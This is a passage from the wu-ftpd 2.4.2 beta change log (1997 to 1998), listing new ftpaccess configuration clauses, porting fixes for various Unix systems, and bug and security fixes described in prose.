| 953 | o Added USE_VAR and USE_ETC for IRIX (sgi) configuration. | ||
| 954 | |||
| 955 | o Added two more virtual-server features so we can deny anonymous login | ||
| 956 | on a virtual servier and so we can allow specified users to log in even | ||
| 957 | though they're real or chroot'd to another directory. Also added a | ||
| 958 | feature to deny real, guest or anonymous on the default server. The | ||
| 959 | new ftpaccess clauses are: | ||
| 960 | |||
| 961 | virtual <address> private | ||
| 962 | virtual <address> deny <username> [<username> ...] | ||
| 963 | virtual <address> allow <username> [<username> ...] | ||
| 964 | defaultserver private | ||
| 965 | defaultserver deny <username> [<username> ...] | ||
| 966 | defaultserver allow <username> [<username> ...] | ||
| 967 | |||
| 968 | o Testing CLOSED_VIRTUAL_SERVER pointed out a bug in user() .. the | ||
| 969 | attempt to sleep to slow down password guessers can't work since | ||
| 970 | signals are off. The daemon sleeps forever. This has been there for | ||
| 971 | years. | ||
| 972 | |||
| 973 | o Ported to Digital Unix 4. | ||
| 974 | |||
| 975 | o If no 'ftp' user existed, the HELP-HACKERS patch failed to send a | ||
| 976 | response which would hang the ftp client. | ||
| 977 | |||
| 978 | o BSD auth failures crashed the daemon. This looks like it's been a | ||
| 979 | long-standing problem. | ||
| 980 | |||
| 981 | o An earlier version changed the behavior of the xferlog to always show | ||
| 982 | the full, real path for the file. This should have been a compile-time | ||
| 983 | option. | ||
| 984 | |||
| 985 | o More typos in ftpaccess.5, some mine, some have been there for ages. | ||
| 986 | |||
| 987 | o Added the ability to disable all DNS lookups in the daemon. I've done | ||
| 988 | this as a compile-time option and included a discussion of the risks | ||
| 989 | and benefits in the config.h for the daemon. Enabling this feature can | ||
| 990 | be a win for busy sites because it can reduce the time required to make | ||
| 991 | a connection as well as eliminate syslog messages caused by bad DNS | ||
| 992 | management at the remote sites. | ||
| 993 | |||
| 994 | o Found another undocumented feature. If the <addrglob> on a 'class' or | ||
| 995 | 'deny' clause starts with a slach (/) it names a file which contains | ||
| 996 | any number of additional <addrglob> entries per line and any number of | ||
| 997 | lines. Updated manpage. | ||
| 998 | |||
| 999 | o Add 'greeting' clause to control the amount of information the server | ||
| 1000 | gives out on the greeting. The new ftpaccess clause is: | ||
| 1001 | |||
| 1002 | greeting full|brief|terse | ||
| 1003 | |||
| 1004 | o Added 'email' option for the 'virtual' clause so we may set this as | ||
| 1005 | well. The new ftpaccess clause is: | ||
| 1006 | |||
| 1007 | virutal <address> email <string> | ||
| 1008 | |||
| 1009 | o Added the restriction that no real users may log in on the virtual | ||
| 1010 | server. | ||
| 1011 | |||
| 1012 | o If a guest logs in on the virtual server deny the login unless their | ||
| 1013 | chroot point is the virtual server's root. This restricts guest logins | ||
| 1014 | to the site admin and anonymous users. | ||
| 1015 | |||
| 1016 | o Added 'hostname' option for the 'virtual' clause so we may set the name | ||
| 1017 | of our multi-homed ftp sites as we can with our default site. The new | ||
| 1018 | ftpaccess clause is: | ||
| 1019 | |||
| 1020 | virtual <address> hostname <string> | ||
| 1021 | |||
| 1022 | o Added an ftpaccess clause to limit total connect time. The new clause | ||
| 1023 | is: | ||
| 1024 | |||
| 1025 | limit-time {*|anonymous|guest} <minutes> | ||
| 1026 | |||
| 1027 | o Disallow certain email addresses as passwords for anonymous ftp. The | ||
| 1028 | new ftpaccess clause for this is: | ||
| 1029 | |||
| 1030 | deny-email <case-insensitive-email-address> | ||
| 1031 | |||
| 1032 | o Fix a bug in the parsing of ftpconversions which I found when I put in | ||
| 1033 | the new conversions for checksums. Turns out this was the same as the | ||
| 1034 | bug I fixed in VR4 parsing the ftpgroups file. | ||
| 1035 | |||
| 1036 | o Cleaned up some of the cross-platform user authentication code for | ||
| 1037 | SECUREOSF. | ||
| 1038 | |||
| 1039 | o Modify the password cryptography for C2 Digital Unix. | ||
| 1040 | |||
| 1041 | o Moved 'retrieve_is_data' to be always compiled into the code since it | ||
| 1042 | was needed for SITE CHECKSUM. | ||
| 1043 | |||
| 1044 | o Add site-exec-max-lines ftpaccess clause. This clause makes the limit | ||
| 1045 | on output lines from SITE EXEC configurable. The default is a 20-line | ||
| 1046 | limit, which was the old compiled-in limit. The new ftpaccess clause | ||
| 1047 | is: | ||
| 1048 | |||
| 1049 | site-exec-max-lines <number> [<class> ...] | ||
| 1050 | |||
| 1051 | o Added IGNORE_NOOP as a new compile-time option. It is now the default. | ||
| 1052 | |||
| 1053 | o Added 'SITE CHECKMETHOD' and 'SITE CHECKSUM'. | ||
| 1054 | |||
| 1055 | SITE CHECKMETHOD [CRC|POSIX|MD5|RFC1321] | ||
| 1056 | |||
| 1057 | Sets or displays the current check method. If no parameter is | ||
| 1058 | given, displays the current method; otherwise the method is set to | ||
| 1059 | the given algorithm. CRC and POSIX are equivalent and are the | ||
| 1060 | output of the GNU cksum(1) utility. MD5 and RFC1321 are equivalent | ||
| 1061 | and are the output of the GNU md5sum(1) utility. The default check | ||
| 1062 | method is RFC1321 (MD5). | ||
| 1063 | |||
| 1064 | SITE CHECKSUM [<file>] | ||
| 1065 | |||
| 1066 | Calculates the checksum for the named file. If no file is given, | ||
| 1067 | the last file transferred (uploaded or download) is used. If no | ||
| 1068 | file has yet been transferred, reports an error. The current | ||
| 1069 | CHECKMETHOD is used to calculate the checksum. | ||
| 1070 | |||
| 1071 | New ftpconversions: .crc and .md5 | ||
| 1072 | |||
| 1073 | Two new file conversions were added to the example ftpconversion | ||
| 1074 | which allow using GET to retrieve the CRC or MD5 checksums for | ||
| 1075 | files. | ||
| 1076 | |||
| 1077 | NOTE: SITE CHECKSUM requires the installation of two additional | ||
| 1078 | programs in the ~ftp/bin directory. These programs have the same | ||
| 1079 | requirements as the external ls(1) program also normally required | ||
| 1080 | in that directory. For systems without these programs, or which | ||
| 1081 | require building new copies, the GNU textutils package should be | ||
| 1082 | used. This package is available at ftp://ftp.gnu.org/pub/gnu/ the | ||
| 1083 | current version at the time of this writing is | ||
| 1084 | textutils-1.22.tar.gz | ||
| 1085 | |||
| 1086 | ########################################################################### | ||
| 1087 | |||
| 1088 | Changes in 2.4.2-BETA-18-VR7: Released 15 September, 1998 | ||
| 1089 | |||
| 1090 | o Transfer limits tesed the wrong values for files uploaded to the | ||
| 1091 | server. | ||
| 1092 | |||
| 1093 | o Added several new log messages missed in other versions having to do | ||
| 1094 | with filesystem change attempts. | ||
| 1095 | |||
| 1096 | o Extended logging for rejected or denied functions such as delete, | ||
| 1097 | rename. | ||
| 1098 | |||
| 1099 | o The QUOTA logic for BSDI doesn't match what's provided by the system. | ||
| 1100 | |||
| 1101 | o My label 'slimy_hack:' appearing just before a '}' causes some | ||
| 1102 | compilers to belch. I guess some are more ANSI/ISO than others. Made | ||
| 1103 | a quick fix which ought to make them shut up until I can rewrite pass() | ||
| 1104 | to make the label go away. | ||
| 1105 | |||
| 1106 | o The include for 'mntent.h' isn't needed unless QUOTE_DEVICE is defined. | ||
| 1107 | This caused problems on BSDI. Moving the include to only appear for | ||
| 1108 | systems which use QUOTE_DEVICE. | ||
| 1109 | |||
| 1110 | o The HELP_CRACKERS patch was too agressive and, if message files were | ||
| 1111 | defined for 'deny' and 'limit' could tickle bugs in ftp clients. The | ||
| 1112 | patch is backed off to drop the connection immedeately if it violates | ||
| 1113 | 'deny' or 'limit'. | ||
| 1114 | |||
| 1115 | o Extended upload and noretrieve to have an optional parameter which | ||
| 1116 | specifies whether the named file/directory is interpreted as an | ||
| 1117 | absolute name or relative to the current chroot'd environment. | ||
| 1118 | |||
| 1119 | o Don't respond to *ANY* commands except USER, PASS and QUIT until the | ||
| 1120 | remote user logs in successfully. | ||
| 1121 | |||
| 1122 | o Added PARANOID check to deny login if a real user's home directory is | ||
| 1123 | bad. Something's bunged up in /etc/passwd, why trust it? | ||
| 1124 | |||
| 1125 | o Extended logging for rejected and failed login attempts. | ||
| 1126 | |||
| 1127 | o Fixed a bug in popen which can cause segmentation faults. It's unknown | ||
| 1128 | if this is exploitable (it doesn't look like it is to me). It's been a | ||
| 1129 | problem for a long time. | ||
| 1130 | |||
| 1131 | o Fixed a typo in the ftpaccess manpage (What, just one? Come on!) | ||
| 1132 | |||
| 1133 | o Traffic counters weren't protected by TRANSFER_COUNT in some cases. | ||
| 1134 | |||
| 1135 | o The 'daemon' variable conflicts with a 'daemon()' function in some | ||
| 1136 | runtimes. Renamed. | ||
| 1137 | |||
| 1138 | o Missing <grp.h>. Gotta love Linux's grab-one-get-it-all method for | ||
| 1139 | defining system headers, don't ya? Grrr. | ||
| 1140 | |||
| 1141 | o DAEMON always includes <sys/termio.h>, it was needed until VR6 removed | ||
| 1142 | the attempt to detach from the controlling terminal. | ||
| 1143 | |||
| 1144 | o main() is declared void; that's not ANSI, it's just stupid. | ||
| 1145 | |||
| 1146 | o routevector.c uses ulong instead of u_long. ulong doesn't exist on | ||
| 1147 | many systems. | ||
| 1148 | |||
| 1149 | o defumask caused a data alignment problem on HP-UX 10. | ||
| 1150 | |||
| 1151 | ########################################################################### | ||
| 1152 | |||
| 1153 | Changes in 2.4.2-BETA-18-VR6: Released 26 August, 1998 | ||
| 1154 | |||
| 1155 | o Fixed handling for the message clause so login and cwd= work as | ||
| 1156 | expected. | ||
| 1157 | |||
| 1158 | o The daemon responds differently in some cases when it's denying access. | ||
| 1159 | This could be used by attackers to determine the validity of some user | ||
| 1160 | names on the target system. NOTE: the 331 response for some systems, | ||
| 1161 | notably BSD S/Key or other challenge/response systems, may differ from | ||
| 1162 | the 331 response given. I don't have access to those systems to check | ||
| 1163 | out the differences. If you do, and work out how to hide the access | ||
| 1164 | refusal until after the password challenge, please forward it to me. | ||
| 1165 | |||
| 1166 | o The upload clause should use realpath on the home directory to be sure | ||
| 1167 | it matches. Otherwise, real users with /./ in their path will need | ||
| 1168 | their upload clause to lexically match the home directory entry in | ||
| 1169 | /etc/passwd. This was not a big issue until I added realuser. | ||
| 1170 | |||
| 1171 | o Fixed a bug with realpath, a missed condition. If chroot'd to '/' the | ||
| 1172 | xferlog shows '//' at the start of the filename. | ||
| 1173 | |||
| 1174 | o Added the ability to force all UID/GID in a range to be treated as | ||
| 1175 | guests. The ftpaccess clause for this are: | ||
| 1176 | |||
| 1177 | guestuser <username> [<username> ...] | ||
| 1178 | realgroup <groupname> [<groupname> ...] | ||
| 1179 | realuser <username> [<username> ...] | ||
| 1180 | |||
| 1181 | o Disallow UIDs and GIDs by numeric range. This can obviate the need for | ||
| 1182 | /etc/ftpusers. The ftpaccess clauses for this are: | ||
| 1183 | |||
| 1184 | deny-uid <uid-range> [...] | ||
| 1185 | deny-gid <gid-range> [...] | ||
| 1186 | allow-uid <uid-range> [...] | ||
| 1187 | allow-gid <gid-range> [...] | ||
| 1188 | |||
| 1189 | o Added 'guest-root' to select directory based upon guest UID. The new | ||
| 1190 | ftpaccess clause is: | ||
| 1191 | |||
| 1192 | guest-root <root-dir> [<uid-range>] | ||
| 1193 | |||
| 1194 | o Added 'anonymous-root' to select chroot directory based on class of | ||
| 1195 | anonymous user. The new ftpaccess clause is: | ||
| 1196 | |||
| 1197 | anonymous-root <root-dir> [<class>] | ||
| 1198 | |||
| 1199 | o Missed a spot where "*" should be matched for the <root-dir> in an | ||
| 1200 | upload clause. | ||
| 1201 | |||
| 1202 | o Fixed a silly bug in the "rename" clause. | ||
| 1203 | |||
| 1204 | o Change the defaults to deny upload, and other site-modification things, | ||
| 1205 | for anonymous users. | ||
| 1206 | |||
| 1207 | o Some systems, notably Solaris, have problems with the code the | ||
| 1208 | standalone daemon mode used to attempt to detach from the terminal | ||
| 1209 | session. This was in the original patch. Upon thinking about the | ||
| 1210 | problem, I see no reason to keep the code arround. If you need this | ||
| 1211 | feature, use 'nohup' to run the daemon. | ||
| 1212 | |||
| 1213 | o Standalone daemon mode (in VR4) missed including a header. | ||
| 1214 | |||
| 1215 | o Added '-VR6' to version string in newsvers.sh. This will be updated | ||
| 1216 | with all future versions. | ||
| 1217 | |||
| 1218 | ########################################################################### | ||
| 1219 | |||
| 1220 | Changes in 2.4.2-BETA-18-VR5: Released 15 August, 1998 | ||
| 1221 | |||
| 1222 | o Cleaned up some unneeded blank lines sent in responses. | ||
| 1223 | |||
| 1224 | o Added a message to show total traffic counts on the response to QUIT. | ||
| 1225 | |||
| 1226 | o Added file counts, corrected missed bytes, added counts to STAT | ||
| 1227 | command. | ||
| 1228 | |||
| 1229 | o Added detail counters and ftpaccess clauses to limit the user's ability | ||
| 1230 | to upload/download files based on these. The new ftpaccess clauses | ||
| 1231 | are: | ||
| 1232 | |||
| 1233 | byte-limit [<raw>] <in|out|total> <count> [<class>] | ||
| 1234 | file-limit [<raw>] <in|out|total> <count> [<class>] | ||
| 1235 | |||
| 1236 | o Restrict throughput for network load management. The ftpaccess clause | ||
| 1237 | for this is: | ||
| 1238 | |||
| 1239 | throughput <root-dir> <subdir-glob> <file-glob-list> <bytes-per-second> <bytes-per-second-multiply> <remote- glob-list> | ||
| 1240 | |||
| 1241 | o Added 'tcpwindow' to configure TCP window size for performance | ||
| 1242 | tweaking. The ftpaccess clause is: | ||
| 1243 | |||
| 1244 | tcpwindow <size> [<class>] | ||
| 1245 | |||
| 1246 | o Provided address remapping for PASV mode to allow daemon to run behind | ||
| 1247 | IP-address translating firewalls (NAT). If you use this with virtual | ||
| 1248 | hosts, let me know how it goes; I think it works, but let me know if it | ||
| 1249 | needs extensions for virtual hosts. The ftpaccess clauses for this | ||
| 1250 | are: | ||
| 1251 | |||
| 1252 | passive address <externalip> <cidr> | ||
| 1253 | |||
| 1254 | o Limit PASV port ranges. The ftpaccess clause for this is: | ||
| 1255 | |||
| 1256 | passive ports <cidr> <min> <max> | ||
| 1257 | |||
| 1258 | o The original idea for realpath when it was included in the source kit | ||
| 1259 | was that it would provide missing functionality on systems where it was | ||
| 1260 | missing or replace existing functionality on systems where it was | ||
| 1261 | already present. The VR versions presume the daemon will always use | ||
| 1262 | the included realpath function. | ||
| 1263 | |||
| 1264 | ########################################################################### | ||
| 1265 | |||
| 1266 | Changes in 2.4.2-BETA-18-VR4: Released 30 July, 1998 | ||
| 1267 | |||
| 1268 | o Added 'defumask' to specify umask values by class in ftpaccess. The | ||
| 1269 | ftpaccess clause is: | ||
| 1270 | |||
| 1271 | defumask <umask> [<class>] | ||
| 1272 | |||
| 1273 | o Added the ability to specifiy groups which have no password. You'll | ||
| 1274 | still need to SITE GPASS, but just send no password. | ||
| 1275 | |||
| 1276 | o Fixed possible bugs if the ftpgroup file is malformed. | ||
| 1277 | |||
| 1278 | o Allow numeric UID and GID values. On systems with large numbers of | ||
| 1279 | users and a large number of upload clauses, the daemon can take a | ||
| 1280 | significant period to process the ftpaccess, passwd and group files. | ||
| 1281 | Effected ftpaccess clauses include: upload, guestgroup and autogroup. | ||
| 1282 | |||
| 1283 | o The following problems were noted during testing: | ||
| 1284 | - Issuing PORT prior to login changes the state of the daemon | ||
| 1285 | - Issuing PASV after PORT does not change the mode reported by STAT | ||
| 1286 | - Illegal PORT commands change the state of the daemon | ||
| 1287 | This turned out to be two problems: PASV mode was being reset by | ||
| 1288 | rejected PORT commands, and PASV mode wasn't reseting the state | ||
| 1289 | completely after setting up a data connection. | ||
| 1290 | |||
| 1291 | o HELP PORT indicated only 5 bytes were needed. Six are. | ||
| 1292 | |||
| 1293 | o Added MAPPING_CHDIR config option to support CWD working like cd | ||
| 1294 | command in most Unix shells; the PWD shown is the logical path rather | ||
| 1295 | than the physical path. | ||
| 1296 | |||
| 1297 | o Added syslog messages for more stuff. MKD, RMD, CHMOD and RNTO now log | ||
| 1298 | as DELE has. | ||
| 1299 | |||
| 1300 | o Added new command-line option to run in standalone daemon mode. This | ||
| 1301 | is a win for busy sites but not the big win it could be if it pre- | ||
| 1302 | loaded the ftpaccess file into memory. Also, at this point, the | ||
| 1303 | standalone mode loses the tcpwrappers functionality which is available | ||
| 1304 | when running from inetd. | ||
| 1305 | |||
| 1306 | o The mod to realpath for VR3 wasn't complete. This was mainly visible | ||
| 1307 | when logging a deletion message. | ||
| 1308 | |||
| 1309 | ########################################################################### | ||
| 1310 | |||
| 1311 | Changes in 2.4.2-BETA-18-VR3: Released 15 July, 1998 | ||
| 1312 | |||
| 1313 | o Added -w and -W to enable (default, -w) or disable (-W) recording user | ||
| 1314 | login and logout for ftp sessions in wtmp. | ||
| 1315 | |||
| 1316 | o Noticing 'guestserver' made me look. There are two other undocumented | ||
| 1317 | ftpaccess clauses: 'lslong' and 'lsshort'. Man page updated. | ||
| 1318 | |||
| 1319 | o While researching 'nice' came across an undocumented ftpaccess clause | ||
| 1320 | 'guestserver'. Man page updated. | ||
| 1321 | |||
| 1322 | o New ftpaccess clause 'nice' to adjust process priorities based upon the | ||
| 1323 | class. The new ftpaccess clause is: | ||
| 1324 | |||
| 1325 | nice <nice-delta> [<class>] | ||
| 1326 | |||
| 1327 | o The upload clause is extended to allow '*' for <owner> and <group> so a | ||
| 1328 | single upload clause can work for all users. For example: | ||
| 1329 | upload /home/ftp /private/*/incoming* yes * * 640 nodirs | ||
| 1330 | can be used to create private upload areas for every user. | ||
| 1331 | |||
| 1332 | o The noretrieve clause is extended to mark entire directories | ||
| 1333 | un-gettable. | ||
| 1334 | |||
| 1335 | o The util/xferstats that comes with wu-ftpd 2.4 always produces a count | ||
| 1336 | of zero for "Systems Using Archives", because the array whose size is | ||
| 1337 | printed ("$systemfiles") never gets anything stored in it. Verified to | ||
| 1338 | exist in the current version. | ||
| 1339 | |||
| 1340 | o The perl script xferstats incorrectly identifies internet addresses | ||
| 1341 | whose host name begins with "inf" or which are only 2 components wide | ||
| 1342 | (e.g., "bix.com") as unresolved. I could not verify the "inf" problem, | ||
| 1343 | but the 2 component problem has been verified to exist in the current | ||
| 1344 | version. | ||
| 1345 | |||
| 1346 | o On the upload clause, 'no' should imply 'nodirs'. Good grief, how long | ||
| 1347 | has this bug been lurking about? [Ed: Since 2.1!] | ||
| 1348 | |||
| 1349 | o The fixes for the CD ~ problem (ALTERNATE_CD option for beta 18) break | ||
| 1350 | a few things. Most notably, xferlog doesn't include the full name of | ||
| 1351 | the file and the upload command doesn't work properly. In addition, I | ||
| 1352 | believe noretrieve should be based on the real file system rather than | ||
| 1353 | the chroot'd environment. The man page says '/' means the name is an | ||
| 1354 | 'absolute path specification' which I take to mean from the real file | ||
| 1355 | system. Discovered during testing; I had the same problem with my CD ~ | ||
| 1356 | fix in beta 17 so I was expecting this. | ||
| 1357 | |||
| 1358 | o Makefile.lnx from BETA-18 links the daemon and support programs | ||
| 1359 | statically. The wisdom of this is debatable at best. | ||
| 1360 | |||
| 1361 | o Makefile.lnx from BETA-18 presumes Bison is installed; it isn't always. | ||
| 1362 | |||
| 1363 | o BETA-18 had the default to disable the ALTERNATE_CD fix for the CD ~ | ||
| 1364 | problem. It should be enabled. | ||
| 1365 | |||
| 1366 | o Merged 2.4.2-BETA-18 with 2.4.2-BETA-17-VR2. What a pain; next time I | ||
| 1367 | have to be up and ready with CVS! | ||
| 1368 | |||
| 1369 | ########################################################################### | ||
| 1370 | |||
| 1371 | Changes in 2.4.2-BETA-18: Released 6 July, 1998 | ||
| 1372 | |||
| 1373 | o Improve the build process for Solaris. | ||
| 1374 | |||
| 1375 | o The response to the MKD command was not RFC 959 compliant. A number of | ||
| 1376 | responses given by wu-ftpd were not compliant with RFC 959. I have | ||
| 1377 | audited this in the software and corrected as many as I can find. | ||
| 1378 | |||
| 1379 | o Make some changes to the installation process for Linux. | ||
| 1380 | |||
| 1381 | o Fixed a case where a variable does not get properly defined if UPLOAD | ||
| 1382 | is not defined in config.h. | ||
| 1383 | |||
| 1384 | o Added more information about the impact of the existance of the | ||
| 1385 | shutdown message file to the NOTES file. | ||
| 1386 | |||
| 1387 | o The wrong error message would be returned when a write fails (during a | ||
| 1388 | PUT). | ||
| 1389 | |||
| 1390 | o Add "exit(0);" to the end of the ftpshut.c file. | ||
| 1391 | |||
| 1392 | o Permit the daemon to make use of the -A option to /bin/ls when on | ||
| 1393 | Solaris 2. | ||
| 1394 | |||
| 1395 | o Log information when a transfer data connection comes from somewhere | ||
| 1396 | other than the address of the control connection. | ||
| 1397 | |||
| 1398 | o Made it easier to compile on HP/UX. | ||
| 1399 | |||
| 1400 | o Fixed an "off by one" problem in the "limit" stanza of the ftpaccess | ||
| 1401 | file when specific times are specified. | ||
| 1402 | |||
| 1403 | o Linux releases other than RedHat 5.0 running kernels with versions | ||
| 1404 | greater than 2.0.31 would not compile properly. | ||
| 1405 | |||
| 1406 | o Solaris 2.5.1 on sparc would not correctly determine if the snprintf | ||
| 1407 | family of library routines were to be linked from the C library or from | ||
| 1408 | the support library. | ||
| 1409 | |||
| 1410 | o SITE CHMOD would not accept values greater than 777. Now, you can. Just | ||
| 1411 | define UNRESTRICTED_CHMOD in the root-level config.h file. | ||
| 1412 | |||
| 1413 | o Port correction for HP/UX. | ||
| 1414 | |||
| 1415 | o wu_logwtmp did not include the username when a logout record is | ||
| 1416 | written. | ||
| 1417 | |||
| 1418 | o On SGI, initsetproctitle causes problems. I don't have an SGI to test | ||
| 1419 | the fix on, but I have attempted to address it in this release. | ||
| 1420 | |||
| 1421 | o Fixed a problem with the STAT command when in Passive mode. | ||
| 1422 | |||
| 1423 | o The home directory finding routing in glob.c would not return the right | ||
| 1424 | stuff when the "/./" convention is used for guest users. | ||
| 1425 | |||
| 1426 | o Port correction for DEC UNIX. | ||
| 1427 | |||
| 1428 | o Made it easier to compile of AIX 4.2. | ||
| 1429 | |||
| 1430 | o _LARGE_FILES should not be defined for AIX 4.2 builds. I have changed | ||
| 1431 | the config.h file for aix to do this for AIX 4.2. I don't have AIX, so | ||
| 1432 | I don't know if this will work, but it's in there. | ||
| 1433 | |||
| 1434 | o Changed the strategy for using bigcrypt() on C2 Security on Dec OSF/1. | ||
| 1435 | |||
| 1436 | o NO_PRIVATE was not explicitly defined or undefined in config.h. | ||
| 1437 | |||
| 1438 | o Fix a problem in the output of the ftpcount command. | ||
| 1439 | |||
| 1440 | o Fix the "build" script to make it format the error message properly | ||
| 1441 | when multiple compile targets are provided. | ||
| 1442 | |||
| 1443 | o Corrected a documentation error in describing the impact chroot has on | ||
| 1444 | hard links. | ||
| 1445 | |||
| 1446 | o Address some misplaced or missing calls to alarm(0). | ||
| 1447 | |||
| 1448 | o ftpcmd.y did not have NULL checking in certain places. | ||
| 1449 | |||
| 1450 | o Port corrections for BSD/OS including support for BSD authentication. | ||
| 1451 | This should work on FreeBSD as well, but I have not altered the FreeBSD | ||
| 1452 | configuration to make use of this. | ||
| 1453 | |||
| 1454 | o ftpcount did not always work correctly due to permissions problems on | ||
| 1455 | the login database file that ftpd maintains. | ||
| 1456 | |||
| 1457 | o Fixed problems in the "limit" processing that were introduced in | ||
| 1458 | beta-16. | ||
| 1459 | |||
| 1460 | o Fixed some problems with output formatting for ftpwho. | ||
| 1461 | |||
| 1462 | o Added s/key support on NetBSD. | ||
| 1463 | |||
| 1464 | o Addressed the issue concerning what "cd ~" should do. The alternate | ||
| 1465 | behavior can be obtained by defining ALTERNATE_CD in the root-level | ||
| 1466 | config.h file. | ||
| 1467 | |||
| 1468 | o Fixed processing of the %U directive when the user is unknown. | ||
| 1469 | |||
| 1470 | o RFC 931 calls would fail due to wu-ftpd failing to bind to the correct | ||
| 1471 | address on multi-homed hosts. | ||
| 1472 | |||
| 1473 | o Fixed a problem where ftpd would exit with signal 11. | ||
| 1474 | |||
| 1475 | o Fixed a problem with the handling of standard error messages from | ||
| 1476 | programs called during the file conversion process. | ||
| 1477 | |||
| 1478 | ########################################################################### | ||
| 1479 | |||
| 1480 | Changes in 2.4.2-BETA-17-VR2: Released 3 June, 1998 | ||
| 1481 | |||
| 1482 | o Left a debugging statement in for syslogmsg in VR1 patches. | ||
| 1483 | |||
| 1484 | o The fix for CD ~ broke the upload and noretrieve access-control | ||
| 1485 | statements and changed what was written to xferlog and the syslog. | ||
| 1486 | Well, actually, it didn't break the noretrieve statement, but the man | ||
| 1487 | page says '/' means the name is an 'absolute path specification' and I | ||
| 1488 | take that to mean relative to the _real_ filesystem, not the chroot'd | ||
| 1489 | one. Discovered when set live on my main server; I really should'a | ||
| 1490 | tested with more than one guestgroup. | ||
| 1491 | |||
| 1492 | ########################################################################### | ||
| 1493 | |||
| 1494 | Changes in 2.4.2-BETA-17-VR1: Released 3 June, 1998 | ||
| 1495 | |||
| 1496 | o Shutdown warnings were not given to normal (non-anonymous) users on | ||
| 1497 | login. | ||
| 1498 | |||
| 1499 | o Added 'hostname' configuration statement. Normally the server | ||
| 1500 | determines its host name from the system. This allows the admin to set | ||
| 1501 | the name on machines with several names (multihomed) where the default | ||
| 1502 | name is not the desired name. Manpage updated. The new ftpaccess | ||
| 1503 | clause is: | ||
| 1504 | |||
| 1505 | hostname <some.host.name> | ||
| 1506 | |||
| 1507 | o Move Linux to use POSIX regex included with the system instead of the | ||
| 1508 | routines included with wu-ftpd. This allows us to define path-filter | ||
| 1509 | statements which allow spaces in the pathnames. For example: | ||
| 1510 | |||
| 1511 | path-filter anonymous /etc/pathmsg ^[-A-Za-z0-9_.[:space:]]*$ ^\. ^- | ||
| 1512 | |||
| 1513 | o Somewhere along the way the upload statement was broken. The fix adds | ||
| 1514 | a new parameter to upload so admins can determine the permissions for | ||
| 1515 | any new directories permitted. New features are documented in | ||
| 1516 | ftpaccess manpage. | ||
| 1517 | |||
| 1518 | o Add -X command-line option and syslog option to log statement in | ||
| 1519 | ftpaccess. These options eliminate xferlog output and direct transfer | ||
| 1520 | logs to syslog instead. The new ftpaccess clause is: | ||
| 1521 | |||
| 1522 | log syslog | ||
| 1523 | |||
| 1524 | o Prevent NOOP resetting idle timer. | ||
| 1525 | |||
| 1526 | o The CD command supports ~<username> but gives errors when just ~ is | ||
| 1527 | found. Note: there are still problems with other commands which may or | ||
| 1528 | may not accept tilde-user notation and may or may not understand a | ||
| 1529 | tilde by itself means the current user's home directory. This only | ||
| 1530 | effects chroot'd users. | ||
| 1531 | |||
| 1532 | ########################################################################### | ||
| 1533 | |||
| 1534 | Changes in 2.4.2-BETA-17: Released 10 May, 1998 | ||
| 1535 | |||
| 1536 | o Fix the hostacc.c introduced in beta-16. This fixes all the various | ||
| 1537 | alloc/free problems in the memory allocation and retains the dynamic | ||
| 1538 | feature introduced in beta-16. | ||
| 1539 | |||
| 1540 | o Remove a declaration atol() in ftpcmd.y so that wu-ftpd will compile | ||
| 1541 | properly on systems that declare atol as a macro. | ||
| 1542 | |||
| 1543 | o Move "initsetproctitle" from one location in the ftpd.c file to | ||
| 1544 | another. This should fix the problems many people report on some | ||
| 1545 | operating systems concerning the use of command line arguements. | ||
| 1546 | |||
| 1547 | o Make a cosmetic fix to change what setproctitle() puts in the line | ||
| 1548 | returned when you do a ps from "sendmail:" to "ftpd:". This was a | ||
| 1549 | mistake I made when I integrated the new sendmail 8.8.7 proctitle stuff | ||
| 1550 | into beta-16. | ||
| 1551 | |||
| 1552 | ########################################################################### | ||
| 1553 | |||
| 1554 | Changes in 2.4.2-BETA-16: Released 21 December, 1997 | ||
| 1555 | |||
| 1556 | o The install shell script (when used on OpenServer 5) does not work | ||
| 1557 | correctly. Also, man pages can be installed and used with either nroff | ||
| 1558 | or groff is available. Groff can be obtained for OpenServer 5 from the | ||
| 1559 | sco web site. So, man pages will now be installed on SCO. | ||
| 1560 | |||
| 1561 | o Fix some memory leaks. | ||
| 1562 | |||
| 1563 | o off_t is a long long on AIX 4.2. I have attempted to compensate for | ||
| 1564 | this in ftpd.c, but I don't have an AIX system to test on, so it may | ||
| 1565 | not work. This affects places where wu-ftpd wants to print the size of | ||
| 1566 | files or the size of transfers. | ||
| 1567 | |||
| 1568 | o There is a long standing problem in the code that does port checking. | ||
| 1569 | This bug makes it possible to exploit priviledged ports on the host | ||
| 1570 | system or the client system (but not other systems). | ||
| 1571 | |||
| 1572 | o Fix a bug in the gzip2cmp utility. | ||
| 1573 | |||
| 1574 | o Added a number of small fixes to make it easier to compile on AIX. | ||
| 1575 | |||
| 1576 | o Prevent some systems from faulting when they encounter a null pointer | ||
| 1577 | in ftpcmd.y. Many systems already handle this, but some don't and this | ||
| 1578 | will insure that those are covered as well. | ||
| 1579 | |||
| 1580 | o Correct for differences between SecureWare on Digital Unix 3.2 and | ||
| 1581 | Digital Unix 4.0. | ||
| 1582 | |||
| 1583 | o A number of porting issues for SVR4-derived systems and Solaris 2. | ||
| 1584 | These are mainly centered around support for utmp/wtmp entries. | ||
| 1585 | |||
| 1586 | o There were spaces where there should be tabs in the Makefiles for OSF. | ||
| 1587 | |||
| 1588 | o Add -D_NO_PROTO to CFLAGS in the AIX Makefiles. | ||
| 1589 | |||
| 1590 | o The man pages should be installed mode 644 (not 755). | ||
| 1591 | |||
| 1592 | o Fix a number of errors in the implementation of the reply routines, | ||
| 1593 | especially when vprintf is not available. | ||
| 1594 | |||
| 1595 | o Add a NOTE that the compiler which comes with HP/UX won't work. | ||
| 1596 | |||
| 1597 | o HP/UX now builds with VIRTUAL as the default. | ||
| 1598 | |||
| 1599 | o The man page for the daemon be installed as ftpd.1m instead of | ||
| 1600 | in.ftpd.1m for systems where section 1m is correct. | ||
| 1601 | |||
| 1602 | o Reevaluate guestgroup after autogroup. | ||
| 1603 | |||
| 1604 | o Dynamically allocate the ftphosts file in memory; removing the limit of | ||
| 1605 | 100 hosts. | ||
| 1606 | |||
| 1607 | o wu-ftpd can hang in in "read" forever. | ||
| 1608 | |||
| 1609 | o Fix conflicts between some subroutine names (getline and logwtmp) in | ||
| 1610 | wu-ftpd and functions in glibc2. | ||
| 1611 | |||
| 1612 | o Fix a problem which can come up with strings which are not properly NUL | ||
| 1613 | terminated. | ||
| 1614 | |||
| 1615 | o Add a comment in NOTES that for versions of Digital Unix without C2, | ||
